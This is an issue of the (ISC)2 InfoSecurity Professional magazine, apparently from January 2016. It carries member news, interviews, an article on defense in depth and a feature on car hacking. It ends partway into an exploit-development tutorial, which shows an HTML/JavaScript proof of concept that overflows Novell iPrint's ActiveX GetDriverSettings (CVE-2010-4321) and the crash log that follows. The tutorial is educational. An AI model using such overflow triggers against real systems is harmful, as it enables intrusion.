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Exclusive (ISC)2
member discount on
RSA Conference 2016
®

Join the (ISC)2 community at RSA Conference 2016 in San Francisco,
February 29-March 4. Connect with the people and information you
need to address the latest threats and security challenges.

This year, RSA Conference will feature:
• More than 500 exhibitors in two halls with NEW expanded hours!

• Over 400 sessions. NEW! Sessions will be spread
out over the full day so you can attend more!
• (ISC)² CISSP Two-Day Crash Course covering
the eight domains in the Certified Information
Systems Security Professional CBK to expand
your knowledge of information security and
industry best practices.
• (ISC)² CSSP Two-Day Crash Course covering
the six domains in the Certified Cloud Security
Professional CBK to deepen your knowledge
of cloud computing and information security.
• NEW content and programs such as Birds of a
Feather Breakfasts, Focus-On Series, additional
Learning Labs and much more!

Diamond sponsor

Platinum sponsor

Global education sponsor

Follow us on: #RSAC

Go to www.rsaconference.com/isc2 to register today!
Use code 1U6ISC2FCD2 when you register to save $200 off a Full Conference Pass!
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Editor’s Note

‘WITHOUT WINTER,
THERE CAN BE NO SPRING’

B

ECAUSE I LIVE in San Diego, I get a lot of people telling

me how lucky I am to be located where it’s almost always
sunny and warm. It’s true that I’m lucky, at least about the
weather part.
Sure, we have our weather “hiccups,” and everyone’s bracing for a particularly
strong El Niño, but sunny and 70s is the norm. We stay outdoors while everyone
else is inside to avoid the elements. We bow out of plans, not because of weatherrelated closures, but because we’re overbooked. Even in places like Australia and
New Zealand, where it’s summer now, the flora and fauna will turn, signaling an
eventual slowdown.
I miss that hint of hibernation. In San Diego, we always are on the go because
there is no signal from nature to slow down, other than
shorter days and a few frosty mornings. But soon, the
day’s sun and activity levels rise again.
In this regard, I think I can empathize with security
professionals who never get a reprieve. Business doesn’t
slow down, and even if it does, attackers can strike
at any time. So, while everyone else takes a breather,
security is always on watch. Such relentless workloads
and schedules aren’t sustainable. That’s why we invest
in technologies to cover manual shortcomings. But,
increasingly, our physical and mental limitations are
under unrelenting pressure, sometimes to the point of
malfunction. As a Microsoft executive once said at a
technology conference, “Without winter, there can be
no spring.”
Anne Saita, editor-inSo, as we embark on another year, I wish you all
chief, lives and works
more
moments to reflect, not just to react. I hope
in Southern California.
those of you in the throes of winter embrace what
little downtime the season now provides. Use it to plan
your professional development for the year. Find more
ways to share information with other (ISC)2 members.
And, keep sending great ideas for future issues of this
magazine.

©Rob Andrew Photography

› ANNE SAITA asaita@isc2.org
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Sept. 12 - 15 • Orlando, FL • Orange County Conv. Center
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LEADERSHIP

EXECUTIVE LETTER › DAVID SHEARER

REMAINING RELEVANT IN TODAY’S (AND
TOMORROW’S) CYBERSECURITY INDUSTRIES

T

HIS WEEK, WE turn the page on our annual calendars
and approach the world with fresh goals and new initiatives. You’ve got big plans for 2016—such as a new
security credential, job or senior position—and we at
(ISC)2 want to provide you the resources to make it happen.
We, too, have goals that build upon our accomplishments in 2015,
starting with growing recognition of the importance of the CISSP
within today’s companies and agencies.
Last year, the CISSP once again received
the SC Magazine award for Best Professional
Certification. Additionally, a recent Burning
David Shearer is
Glass Technologies research report study
CEO of (ISC)2. He
showed in 2014 there were 50,000 open posican be reached at
tions requiring a CISSP—a sure sign that busidshearer@isc2.org.
nesses now understand the rigors and relevance
of our most popular credential program.
That’s also great news for those credentialholders, but what about the aspiring cyber,
information, software and infrastructure
security professionals who can pass the exam
but lack the five years’ experience requirement?
For those just entering the field, we have an
Associate of (ISC)2 program, which is now
3,000 strong. As (ISC)2 members, Associates
can access our education and networking
opportunities to attract employers and fulfill
the five-year practical experience requirement.
Soon, both Associates and fully credentialed
members will be able to display their accomplishments and affiliations with digital badges
for their LinkedIn profiles, social media and
Web-based forums.
In order for our credentials to remain relevant, they periodically undergo a refresh. That’s
precisely what we did in 2015 by launching a
new eight-domain version of the CISSP exam
and the SSCP program.
And, because our membership is busier than
ever, we added on-demand training for our
CISSP and CCSP review programs. This means
those who cannot attend our classroom or live

online instructions now can receive high-quality,
recorded training that they can stop, repeat and
review at their own pace.
It’s one way we stay committed to our
members’ lifelong learning. Ours is a field
that continually evolves, and so do the valueadded benefits that come with being part of
(ISC)2. Last year, we rolled out the omnibus
Security Center, with the first offering being
Vulnerability Central, an app members tailor
to track security flaws in the products and
platforms they use. We also introduced a partnership that gives members access to regulatory
requirements around the globe so they can test
their own security controls for compliance.
All of these initiatives, as well as robust
(ISC)2 regional offices throughout the world,
are designed to continue providing high-quality
CPEs and career-enhancing opportunities for
our 110,000 members.
In 2016, we’ll continue to move forward
with more offerings under the Security Central
umbrella, including Career Central and
Discussion Central. The former will focus on job
opportunities, while the latter establishes communities of interest within the membership.
Our (ISC)2 Foundation also is expanding its
capabilities in being socially responsible through
research, scholarships, and Safe and Secure
Online. This year, expect to see more focus on
content for secondary schools as we continue to
help provide a safer cyber world for everyone.
After all, these students are the future of our
industry. And, our members are positioned to
become their mentors as we all work together
to close the gap on the 1.5 million cybersecurity
positions that need to be filled by 2020.
We have four years until then to continue
filling that pipeline with the best qualified
professionals who are eager to tackle tomorrow’s
challenges. ●
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Call for SpeakerS
now open!
Submit now
Interested in speaking at the 4th Annual (ISC)2 CyberSecureGov? The Call for Speakers is now
open for submissions until midnight EST on February 8, 2016.

in an Environment of Game Changing Threats
(ISC)2 CyberSecureGov provides an educational platform to share lessons learned, best practices
and your expertise on today’s cybersecurity challenges. Hosted in the nation’s capital and attracting
leaders in government, military, industry and academia, CyberSecureGov will ensure that your
voice is heard.This year you will have the opportunity to Inspire Change Agents in an Environment
of Game Changing Threats within the framework of prevention, detection and resilience. There
are a limited number of sessions available, so submit your abstract now.

Potential Topics include:
•

Cloud Security

•

Professional Development

•

Threats and the Advanced Adversary

•

Business, Financial and Risk Implications

•

Critical Infrastructure Protection

•

Identity Access Management

•

Automation, Detection and CDM

•

The Privacy Challenge

•

Incident Response and Recovery

•

Game Changing Solutions

Learn more about CyberSecureGov | #CyberSecureGov | May 19 & 20, 2016

FIELD

NOTES

EDITED BY DEBORAH JOHNSON
A ROUNDUP OF WHAT’S HAPPENING IN (ISC)2® COMMUNITIES

2015 PRESIDENT’S
AWARD RECIPIENTS

FROM THE FRONTLINES

REPLACING BUTTERFLIES
WITH CONFIDENCE
BY RON WOERNER

Whoa. What have I gotten myself into?”
That was my first thought when I stepped onto the stage with Dr. Hugh
Thompson just before my first time speaking at the RSA Conference in 2005.
Ten years later, I’ve grown in confidence and abilities, enabling me to chase
away the butterflies. Speaking at the RSA Conference, (ISC)2 Congress and a
host of other events has helped me grow as an information security professional.
These opportunities allow me to stay current on information security trends,
network with like-minded professionals and share my passion for security.
As a conference veteran, I’m often asked, “How do I get to speak at RSA?”
My response: pertinence, preparation and persistence.
1. Pertinence. You need to stay current with trends in information technology
and security. The topic you propose must mean something to others. At the
same time, you can’t just parrot the pundits. You need to find a way to make it
fresh and spin it to catch people’s attention.
2. Preparation. Repetition leads to improvement, especially if you seek out and

use feedback. Toastmasters is an international organization focused on leadership and public speaking. Start small by speaking at (ISC)2 Chapter events and
local conferences, such as Security B-Sides. Organizers of these meetings and
events are always looking for qualified speakers. Also, consider partnering with
an experienced speaker who can mentor you. Develop your style, content and
following over time to build your confidence and credibility.

Image by iStock

3. Persistence. Conferences may not select you the first time you submit, but
don’t let that deter you. Don’t stop trying. Be patient. Consider leading a peerto-peer session as an alternative. They are smaller and more personal. Use the
time to carefully hone your talk and your style.

Presenting is a great way to challenge yourself, meet great people and share
your knowledge in order to build the security community. Take it from a veteran:
you’ll be glad you did. ●
RON WOERNER, CISSP, is director of the Cybersecurity Studies program at Bellevue
University in Nebraska. He’ll again speak at the 2016 RSA Conference.

Congratulations to the
recipients of the 2015
President’s Award.
The award recognizes
volunteers who have
made a significant
impact on and/or
contribution to (ISC)2
and the security industry through
their dedicated volunteer efforts
throughout the past year. Multiple
recipients are chosen annually or
biannually at the sole discretion of
(ISC)2’s CEO.
U.S. Recipients
Gurdeep Kaur, CISSP
Founder and former president of
(ISC)2 New Jersey Chapter and
current (ISC)2 North American
Advisory Council Co-Chair
Eric A. Hibbard, CISSP-ISSAP,
ISSEP, ISSMP, CCSP
Key contributor to (ISC)2 Job Task
Analysis (JTA) and workshops,
exam item writer and expert in
ISO security standards
EMEA Recipients
Neil Breden, CISSP
President, (ISC)2 East of England
Chapter and Webinar participant
Matthew Parker, CISSP
Safe and Secure Online volunteer;
helped launch the UK Safe and
Secure Online program
Richard Lane, CISSP-ISSMP
Swiss Chapter leader; implemented the Safe and Secure Online
program in Switzerland ●
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TEACHING CHILDREN—AND THEIR PARENTS—
ABOUT THE IMPORTANCE OF STRONG PASSWORDS
CHRIS GRECO, CISSP, is a

retired Air Force officer
with decades of experience
in information technology,
project management and
management in the military,
private industry, public
service and academia. Along the way, he
has written a book for children on the importance of strong computer passwords called
Granpappy Turtle Talks About Passwords.
The following is an email conversation with
Chris about the book and why we seem to
resist creating strong passwords.
What prompted you to address the issue of passwords
directly with children (as opposed to their parents)?

Children share things that they have learned (good or bad)
with their friends. Giving the information to children will
undoubtedly reach other children. Also, did I really address
the issue directly with children? In many instances, parents buy and read their children’s books, often before the
children read them. By making it a children’s book, I have
actually hooked parents into reading the book and applying
the principles.
And the last reason? My wife tells me (often) that I act
like a child, so what was I supposed to do? She still loves
me, even though I am constantly drawing turtles.
How early should our schools (and the rest of the adult
world) be teaching children about cybersecurity?

Teaching children cybersecurity without context will
undoubtedly lead to very similar results as reading Romeo
and Juliet (Booooooorrrrrrringgggg!). Teaching them
some historical context, however, and showing them
how to make their passwords strong will help their competitive urge (attain “green” for your password!), as well
as teach them to be creative and imaginative with their
passwords.

Of course, adults also
create pretty weak
passwords. Any
thoughts on how to
convince the rest of us
to improve our day-today cybersecurity?

I do not know about other
adults, but I am lazy. I
will not do something
that I consider burdensome unless I also conTrust me, if somesider it easy. Passwords
one close to you
are much like exercise.
has their bank
There are so many tools
account or other
that already exist on any
home computer that
personal computer
make password generaprogram hacked
tion easy, but the best tool
because of a weak
is sitting between your
password, they
shoulders—your brain. It
is so interesting to hear
will forever have
children come up with
strong passwords.
ways to make passwords
—CHRIS GRECO
strong as well as memorable (and, being a child
myself, as my wife would
say, I tried to come up with some of those in the book).
The best way to convince people about passwords? Share
stories of people who failed to protect their passwords.
Trust me, if someone close to you has their bank account or
other personal computer program hacked because of a weak
password, they will forever have strong passwords.
Do you have children? Did you teach them about passwords?

My wife and I raised two fantastic daughters (and we have
inherited one son-in-law who is pretty special also). When
they were young, it was very challenging to explain to them
that downloading a game to their computer was risky, and
sometimes, they took chances they paid dearly for. It was
those mistakes that taught them to be more cyber aware
and secure. My family was all very supportive of me writing
and illustrating the book. They, like my wife, love me, even
though I draw tons of turtles. ●
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2015 (ISC)2
SECURITY CONGRESS—

ROUSING
SUCCESSES!

Members and fellow security professionals converged on Anaheim
and London late last year for the Fifth Annual (ISC)2 Security Congress,
co-located again this year with the ASIS International Conference and
Exhibition, and Second Annual (ISC)2 Security Congress EMEA events,
respectively. More than 17,000 attendees participated in seminars,
roundtables, keynote speeches and more. Get event updates by visiting
congress.isc2.org or our Twitter page @ISC2Congress.

Conference speakers, attendees
and (ISC)2 executives enjoy the 2015
Security Congress global and EMEA
events in Anaheim, Calif., U.S.A.
and London, U.K., respectively.

S TAY U P T O DAT E O N T H I S Y E A R ’ S C O N F E R E N C E S AT W W W. I S C 2 . O R G / E V E N T S
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SPOTLIGHT: (ISC)2® PITTSBURGH CHAPTER

ENGAGING THE NEXT GENERATION
OF INFOSECURITY PROFESSIONALS

T

HE (ISC)2 PITTSBURGH

Chapter, in collaboration
with the CERT program at
Carnegie Mellon University’s Software
Engineering Institute, ran a cybersecurity competition last summer for
local high school students. Reaching
out to the Pittsburgh STEM group,
the Chapter enlisted 25 students to try
their hands at the three-day competition. The Chapter designed the course
to prepare participants to run a business, making security decisions and
investments along the way.
On the first day of the competition, the students received a wide variety of
security and technology topics, including firewalls, proxies, IDS, social engineering, insider threats and countermeasures, phishing, DDoS, IR and various
data breach case studies and cybersecurity job roles.
The second day continued with technical instruction, with topics including
building a risk management program, performing risk assessments, the CIA
Triad, calculating risk, recovery and business continuity, and types of security
control assessments. Participants then engaged in a role-playing security board
game to apply their lessons. They had to assume the role of Chief Information
Security Officer, deciding where to invest in security within their organizations.
Next, these CISOs faced attacks and breaches, which helped them evaluate
whether they had selected a successful investment strategy to help their organization withstand the storm. The enthusiasm was high, and the competition
was close, with a winning team emerging at the end of day two.
Day three was all hands in CERT’s StepFWD virtual environment, where
the students underwent attacks and needed to find and defend their virtual
corporate networks in real time. It was an excellent tool to reinforce what they
learned in days one and two. Student teams successfully navigated the challenges, with the first-place team winning a $100 prize.
Students came away energized by the experience, and many expressed interest in becoming security professionals. The success of this project was made
possible by volunteers from the (ISC)2 Pittsburgh Chapter; the CERT program;
Mike Thompson, who donated money
for the pizza lunches; and OptivNet,
CHAPTER CONTACT INFORMATION
which donated the prize money. The
Chapter President: John Franolich
competition was a success due to
president@isc2chapter-pittsburgh.com
the folks who shared their security
http://www.isc2chapter-pittsburgh.com
passion with the next generation. ●

THE VOTES ARE IN!
MEET THE 2016 (ISC)2
BOARD OF DIRECTORS
Thank you to the (ISC)2 members
who voted in the 2016 Board of
Directors election! The results
are in. The following individuals
will begin their voluntary service
on the (ISC)2 Board of Directors,
effective January 1, 2016:
•

Dr. Kevin Charest
CISSP, HCISPP (U.S.A.)

•

David Kennedy
CISSP (U.S.A.)

•

Wim Remes
CISSP (Belgium)

•

Prof. Hiroshi Yasuda, Dr. E.
CISSP (Japan)

For a complete list of current
board members, please
visit: https://www.isc2.org/
board-of-directors.aspx. For
information on the (ISC)2 Board of
Directors election process, please
visit https://www.isc2.org/
board-election-process.aspx. ●
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CPEs
When submitting CPEs for (ISC)2’s
InfoSecurity Professional magazine,
please choose the CPE Type “(ISC)2’s
InfoSecurity Professional Magazine
Quiz (Group A Only),” which will
automatically assign you two
Group A CPEs.
https://live.blueskybroadcast.com/
bsb/client/CL_DEFAULT.asp?Client=411114&PCAT=7777&CAT=10198
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THE 3 MOST
LIKELY CAUSES OF

Images by iStock

80%

of IT decision-makers
experienced file data
leakage incidents

84%

expressed moderate
to no confidence in
their capacity to secure
confidential files

DATA LEAKAGE
1 Inappropriate file
●

sharing with others
inside the organization

2 Sharing with those
●

outside the organization

3 Malware and hackers
●

Source: “2015 State of File Collaboration Security” conducted by Enterprise Management Associates on behalf of FinalCode (153 respondents included
security professionals and corporate leadership from mid-tier and large enterprises).

Information Protection for the Cloud and On-Premise
Protect data and identities wherever they reside—in the cloud, on-premise,
or in transit. Visit symantec.com/information-protection

#GoProtect
Copyright © 2015 Symantec Corporation. All rights reserved. Symantec, the Symantec Logo, and the Checkmark Logo are trademarks or registered trademarks of
Symantec Corporation or its affiliates in the U.S. and other countries. Other names may be trademarks of their respective owners.
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CISSPs
Validate your expertise in

CLOUD SECURITY

Exclusive benefit for CISSPs extended through 2016*

As a CISSP®, you meet all CCSPSM experience requirements and are
immediately eligible to take the CCSP exam. Pass the CCSP exam and the

first year of your CCSP AMFs is free.
LEARN MORE

Did you know....
your CPEs for CISSP also count toward CCSP?

Brought to you by

and

© Copyright 2016. (ISC)², Inc. All rights reserved.
* (ISC)² reserves the right to change or cancel this promotion at any time without prior notice.

MEMBERS’ CORNER
A SOUNDING BOARD
FOR THOSE WITH
SOMETHING TO SAY

Cameron Moore, a CISSP with 16 years
of experience, believes an organization’s
detection and response capabilities are
the most important measure of a security
program.

Why Defense in Depth is Just
a Good Start to Cybersecurity
BY CAMERON MOORE

other information security professionals is this: “If the FBI came to
your office and told you that they
knew with 100 percent certainty
that attackers had compromised your
network, that they were still inside,
and that investigators would be
back in two weeks to assist with the
investigation, could you identify how
they got in, what they touched and/
or took, and how they moved laterally
before investigators came back?”
To date, I’ve never met anyone
who can say yes to any of these
questions. In fact, most of the time,
I just get a chuckle or, “That’s a good
question.” I don’t even get a “Maybe”
from most people.
I make it no secret that I believe
companies do not spend enough time
testing their detection and response
capabilities. This is especially true
today, when our mantra is, “It’s not if
we get compromised, it’s when we get
compromised.”
In general, security professionals
advocate the defense-in-depth mentality, but that’s just a start. Defense
in depth is not intended to stop an
attack; rather, it trips alarms when an
attacker tries to enter or move about
your network.

This is where many companies
fall short in their security programs.
Their staffs believe in their defensein-depth strategy, yet they do not
fully understand on a more elemental
level what it takes to detect intrusions. Even when their technical
controls are all pointing to suspicious
activity, they believe that hardening
perimeters is enough of a deterrent.

A great example of a defense-indepth failure happened last year with
the prison escape from the Clinton
Correctional Facility in upstate New
York. Walls, armed guards and observation towers were not enough to
keep two determined prisoners from
getting out of a maximum-security
prison.
How these men were able to evade
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MY FAVORITE QUESTION to ask

MEMBERS’ CORNER

“Every time you have a penetration
or vulnerability assessment, use the
engagement to tune your tools.”
—CAMERON MOORE, CISSP

detection seems appalling, but even
more unfathomable is the fact that
their escape was not the result of a
technical failure but of social engineering of a civilian contractor who
provided them with the tools they
needed. Are you starting to see the
parallels with cybersecurity?
So, what do we do? Of course,
the answer will vary with each environment, but ultimately, you should

interweave detection capabilities as
you’re building a defense in-depth
strategy. Creating ways to alert when
new controls are performing their
job during implementation makes
these controls most effective. I rely
on things like alerts from our SIEM.
This way, if my application whitelisting blocks “xwsjrywe.exe” from a
user’s machine, then I know something is happening. And since

I’ve now detected something, I need
to respond immediately by investigating.
Simply adding more technical controls without focusing on detection
just gives the attacker more to do.
Get some tools that work for you and
your budget, be they free, reasonably
priced, or expensive ones. Next, figure out how to use them. Every time
you have a penetration or vulnerability assessment, use the engagement
to tune your tools. If you can afford
it, hire a Red Team to simulate an
attack.
These detection tools and abilities
will really help you defend your assets
beyond prevention. ●

VULNERABILITY
Central

Start tracking the vulnerabilities keeping you up at night.
Get Started
This exclusive, members-only resource aggregates, categorizes and
prioritizes vulnerabilities affecting tens of thousands of products.
Create a customized feed filtered by the vendors, technologies and
keywords that are relevant to your interests.

vulnerability.isc2.org

No new account is required to use Vulnerability Central and it’s
free to members; just log in with your (ISC)2 member account.
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› TECHNOLOGY

WHO’S
REALLY BEHIND THE WHEEL?

AS AUTOMOBILES
BECOME INCREASINGLY
RELIANT ON COMPUTER
TECHNOLOGY, CONCERNS
ABOUT MALICIOUS
HACKERS TAKING
CONTROL OF ONE’S
CAR ARE ON THE RISE.
BY JA M E S HAYE S

THREATS TO CONNECTED vehicles from malicious

hackers intent on gaining access to, and control of, automotive systems have claimed far more headlines than victims since hazard warnings first appeared a few years ago.
But outside of staged hacks orchestrated by automotive
penetration testers and low-profile academic research,
reports of real-life incidents have been scarce, and we
could forgive enterprise security professionals for regarding coverage of car hacking as so much ado about nothing,
especially compared to the scale of offensive activity the
average corporate network undergoes daily.
Yet, to assume that lack of evidence means car hacking
is a non-story is to miss some key messages researchers
have been trying to get across.
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First, the concern has less to do with potential threats
to today’s vehicles than to those on the road in the years to
come. The issue starts with the length of automotive product development cycles.
While cyberattacks continually target computer systems,
those systems’ comparatively rapid hardware and software
redevelopment cycles make it easier to maintain defenses
against malicious hackers, malware and other malicious
online actors. Motor vehicles, however, have development
cycles that can last much longer. Even if engineers configured a forthcoming model to defend against every known
automotive threat, by the time it rolls out of the showroom,
it’s likely those safeguards will be out of date.
And even if engineers protected connected cars adequately at the time of unveiling, new threats will keep
coming—not necessarily from those bent on wresting control
away from drivers, but from those wanting to access the
valuable personal data that consumers will increasingly carry
on, or across, automotive information and communication
technology (ICT). We’re talking about data such as banking
and credit card records, toll payment information, personal
ID data, insurance and tax data, travel permits, vehicle registration data, medical records, vehicle location information
and vehicle physical security data (i.e., door lock code).

This requirement for connectivity arguably means that
there are fewer “degrees of separation” between a connected vehicle’s external and internal functions than used
to be the case.
The prospect of the connected vehicle becoming an
accepted part of the Internet of Things—as a connected
entity receiving data from external sources, and with a
capability to share the data that it captures with remote
third parties for specific applications (traffic flow updates,
say)—is one reason enterprise security specialists should
pay heed to automotive cybersecurity developments.
Over the coming years, information security professionals will have increased contact with connected vehicles of
all classifications. Turning a car or truck into a data communications hub makes it more plausible that connected
vehicles—executive fleets, freight carriers, utility trucks—
will, by degrees, fall under the supervision and oversight
of chief security officers and their ICT management colleagues, who would bear some responsibility for protecting
them from cyberattacks and ensuring data assurance.
Another concern: Connected vehicles of all kinds are
increasingly using mainstream IT operating environments
in preference over the proprietary software systems found
on earlier generations. Microsoft, Intel, Apple, Linux and

Connected vehicles of all kinds are increasingly using
mainstream IT operating environments in preference
over the proprietary software systems found on
earlier generations.

Photo illustration by John Kuczala

THE GOOD—AND BAD—NEWS ABOUT
CONNECTED CARS
In general terms, we can consider advanced connected cars
as road vehicles containing Internet access and (typically)
an internal network, usually wireless, which enables the
car to route its connection access (sometimes known as
vehicle-to-Internet) to other devices that engineers have
installed inside—and maybe outside of—the vehicle.
Alongside these, we can typically find the controller area
network (CAN bus or something similar) that facilitates
the interconnection to the gamut of electronic control units
(ECUs), the sensors and actuators that now form part of a
vehicle’s inner electronic workings. Increasingly, such cars
include specific value-added technologies that link into the
Internet or internal network to provide additional driver
benefits: automatic notification of collisions, notification
of excessive speeding and other safety alerts, for example.

Google Android have established automotive solutions
divisions. This may bring advantages to automakers, but it
may also attract hackers already quite familiar with these
software environments and curious to see what pickings
may be available to them.

REVEALING THE CAR’S HACKABILITY
(OR “LOOK, MA, NO HANDS!”)
Experts have been discussing the possibility of a malevolent
party using a vehicle’s built-in Wi-Fi or other wireless communications to remotely control driver functions—such
as acceleration, braking or activating in-car features such
as airbags and infotainment systems—since at least 2010.
That year, researchers from the University of California San
Diego and the University of Washington published research
papers that examined ECU exploits’ impact on a motor vehicle’s electrical systems or subsystems.
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“We need clear rules
of the road that protect
cars from hackers, [and]
to protect the data,
security and privacy of
drivers in the modern age
of increasingly connected
vehicles.”

pressure) recalled 1.4 million cars for software updates.
Another demonstration proved that even the highly
touted Tesla Model S electric car was not immune. San
Francisco-based researchers Kevin Mahaffey of Lookout
Mobile Security and Marc Rogers of CloudFlare used a
backdoor in Tesla’s Ubuntu operating system to install
malware onto the car’s network, which would enable them
to mount a remote attack at a future point, according to the
August 2015 issue of Wired.

—SENATOR EDWARD MARKEY (D, Mass.)

ALIGNING THE RULES OF THE (CYBER) ROAD
The research papers, “Experimental Security Analysis
of a Modern Automobile” (2010) and “Comprehensive
Experimental Analyses of Automotive Attack Surfaces”
(2011), demonstrated that an informed attacker who is able
to infiltrate ECUs could circumvent a broad array of critical
safety systems.
These researchers proposed that remote exploitation of
connected vehicles is feasible via a broad range of attack
vectors (including mechanics’ tools, CD players, Bluetooth
links and cellular radio). Furthermore, wireless communications channels could allow remote vehicle control,
location tracking and vehicle theft.
Several widely publicized demonstrations of car hacking
have since caught the public’s attention.
Researchers Chris Valasek and Charlie Miller (now security lead and engineer, respectively, for Uber) presented
their investigative findings, “Adventures in Automotive
Networks and Control Units,” at DefCon Las Vegas in 2013
and BlackHat USA the following summer.
By connecting laptops with their devised software to
the ECUs in two different makes of cars, they sent instructions to the cars’ network computers that overrode the
commands from the vehicles’ actual drivers, enabling the
“hackers” to take control of some steering functions and
cause the fuel gauge to show empty—all while the vehicle
was in motion and under driver control.
Valasek and Miller then took their demonstration to a
wider audience when they mounted a “stunt hack” on a
Jeep Cherokee for a report in the July 2015 issue of Wired
magazine, taking over the Jeep’s radio, air conditioning,
windscreen wipers, and accelerator and brakes from 10
miles away.
They used a vulnerability in the Jeep’s Uconnect Internet
connection to tap into the vehicle’s internal communications
network. They then leveraged another vulnerability in a
chip in the car’s entertainment system to rewrite its firmware, which then opened the way for them to send commands to the car’s physical components via its CAN bus.
This dramatic demonstration led to a high-profile
reaction from Fiat Chrysler, which (under U.S. government

Witnessing car hacking in action has led to a surge in
interest in automotive cybersecurity, including calls for
immediate action.
Edmund King, the president of the U.K.’s leading motoring organization The Automobile Association (and visiting
professor of transport at the University of Newcastle),
acknowledged the “hacking threat” to connected cars in
an interview with the newspaper The Times. “If cybercriminals targeted automobiles like they are targeting other
things, we would be in for a hard and fast ride,” he said.
“The more cars rely on technology, particularly remote
technology, the more there is to get at.”
In the United States, senators Edward Markey (D.,
Mass.) and Richard Blumenthal (D., Conn.) joined forces to
file their Security and Privacy in Your Car Act of 2015 (also
known as the “SPY Car Act”). Among other things, the bill
calls upon the federal government to require automakers to
ensure that their motor vehicles comply with cybersecurity
standards, covering a range of vectors such as vehicle entry
points (physical and wireless) and the way they engineer
internal systems to ensure breach-proof isolation of components. The bill also calls for carmakers to adopt standards
governing the privacy of data that might reside on, supply
from or pass through connected vehicles.
The SPY Car Act derives from what Markey sees as a
threat that could, should we neglect it, prove to be a major
inhibitor to market growth and innovation in the economically crucial automotive industry, both in the United States
and elsewhere.
“We need clear rules of the road that protect cars from
hackers, [and] to protect the data, security and privacy
of drivers in the modern age of increasingly connected
vehicles,” he declared after the act took its first legislative
step. “Drivers should not have to choose between being
connected and being protected….”

IS AUTOMOTIVE CYBERSECURITY ON IDLE?
The Fiat Chrysler recall is the most visible reaction to the
possibility/probability of automobile hacking. Comments
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and reaction from other automakers to questions the
DefCon and BlackHat demonstrations raised have been
conspicuous by their low-key tone—or complete absence.
Much of the automotive industry has let industry
advocacy groups articulate its cybersecurity position.
In October 2014, two of the largest automotive organizations, the Alliance of Automobile Manufacturers and
the Association of Global Automakers, teamed up with
parts-making giant Delphi to announce a voluntary information-sharing and analysis center for the auto industry.
The mission: “Target the threat of hackers as vehicles begin
connecting to the Internet and communicating with other
cars and trucks sharing the transportation infrastructure.”
However, the ability of automotive manufacturers to
address the cyber challenges they face is in question. A
2015 survey by the Ponemon Institute, sponsored by Rogue
Wave Software and Security Innovation, polled more than
500 automotive developers, engineers and executives,
primarily from carmakers and tier-one suppliers. Among
the key findings: Developers do not believe their companies
are taking security seriously enough, and they want, but
do not yet have, the skills and training necessary to combat
software security threats. The survey also suggested that
“automakers are not as knowledgeable about secure software development as other industries.”
One obvious place for automakers to acquire skills
could be the enterprise information security industry. The
April 2015 report “Automotive Cyber Security: An IET/
KTN Thought Leadership Review of Risk Perspectives for
Connected Vehicles” (produced by the U.K.’s Institution of
Engineering and Technology and the Knowledge Transfer
Network) encouraged “consultation between the automotive industry bodies for which cyber security should be an
agenda issue and professional bodies in non-automotive
sectors already engaged in cybersecurity awareness-raising.”
There’s little doubt that the information security industry has an interest in the lucrative automotive sector.
Intel has been an early mover in this respect.
In September 2015, the chip maker announced an
Automotive Security Review Board, which it tasked
with developing some cybersecurity best practices and
design recommendations. One of Intel’s contentions is
that connected vehicles are now de facto components in
a connected ecosystem and that automakers will have to
engage more with other sectors to retain the confidence of
consumers and partners regarding their cyber know-how.
Frost & Sullivan articulated its criticism of carmakers’ apparent lack of cyber awareness in a 2015 white
paper, “Cybersecurity: Automakers Remain Passive as
Government Takes Action.” Analysts suggested that car
manufacturers “… are fully aware of the importance of
their brands’ security posture, yet they still are not overtly

accepting responsibility for improving their security
systems. However, cybersecurity awareness is at an
all-time high for almost every other industry.”

A NEED FOR SLOW AND STEADY?
On balance, we could argue that the automotive industry’s
response to the vehicle hacking hullabaloo has been, given
the circumstances, proportionate.
It does not want to risk rushing into the public arena
with a premature response that might expose it to more
focused criticism from the cybersecurity community.
Automakers understand competition—and it’s possible they
characterize malicious hackers and other digital ne’er-dowells as crypto-competitors seeking to undermine the value
of their products and their brand values.
In fact, bold assurances about the cybersecurity of a
particular car might well cause hackers to target it. By the
same token, if experts continue to stage more stunt hacks,
vendors would not want to become known as selling insecure vehicles, so they might make strong statements about
their products’ security. This might in turn attract lower-level hackers keen to try out their nascent skills on what
they deem as “soft targets.”
Despite suggestions that automakers are unknowing and
behind the curve on cybersecurity state-of-play, the opportunity now exists for these organizations to learn how to
harden systems from other corporate entities in possession
of some of the planet’s most valuable intellectual property.

DOLLARS AND SENSE IN
AUTO CYBERSECURITY
Connectivity is set to become a compelling feature of the
global car economy, leading to a market worth close to
US$43 billion (€39 billion) by 2018, according to forecasts
from research firm SBD and mobile communications policy
organization GSMA.
As information security has come to govern the way we
build and configure IT systems, and as we pack more processing power into automotive offerings, it is plausible that
cybersecurity considerations will shape the way we design,
build, sell, service, drive and insure—especially insure—
future generations of cars and trucks.
Cybersecurity will also be an important factor in determining how the public accepts emerging personal transportation options, such as autonomous and semi-autonomous
vehicles. ●

JAMES HAYES is a freelance technology writer based in the United
Kingdom.
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› PART 1 • TECHNICAL DEEP DIVE

(ISC)2 MEMBER
AND AUTHOR
MANU CARUS
DIVES DEEP
INTO MALWARE
DEVELOPMENT.

AN EXPLOIT
IS BORN
Photograph by iStock

CYBER CRIME is a constant guest in daily news. Society has gotten used to

hacker attacks, data theft, espionage and international affairs, but only a few
understand in detail how an attacker succeeds at intruding into a machine.
How are hackers working, thinking, tricking? How do they turn a weakness
into an attack?
A clear comprehension of how an exploit works is essential to proper mitigation techniques. How does a hacker take over control? Don’t the OS protection
mechanisms take effect? Which problems come up at runtime? How can a
hacker surf around those stumbling blocks?
A word of warning: this is a highly technical explanation based on a real
vulnerability.
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IT ALL STARTS WITH A WEAKNESS…
Most exploits take advantage of a situation that the programmer hasn’t anticipated—one that
eventually leads to a crash. Let’s illustrate a simple stack-based overflow in Novell’s iPrint
ActiveX control (CVE-2010-4321) and flood the “printer name” parameter of the vulnerable
“GetDriverSettings()” function with a cyclic pattern of 1.000 bytes (See Listing 1).
LISTING 1

<html>
<object classid='clsid:36723F97-7AA0-11D4-8919-FF2D71D0D32C' id='target'>
</object>
<script >
ret='';
ret+='Aa0Aa1Aa2Aa3Aa4.....Bg8Bg9Bh0Bh1Bh2B'; // cyclic pattern of 1000 bytes
arg1 = 'printer';
arg2 = 'realm';
arg3 = 'user';
arg4 = 'pass';
target.GetDriverSettings(ret,arg2,arg3,arg4);
</script>
</html>

At runtime, Internet Explorer will crash (See Listing 2).
LISTING 2

(9b0.b90): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
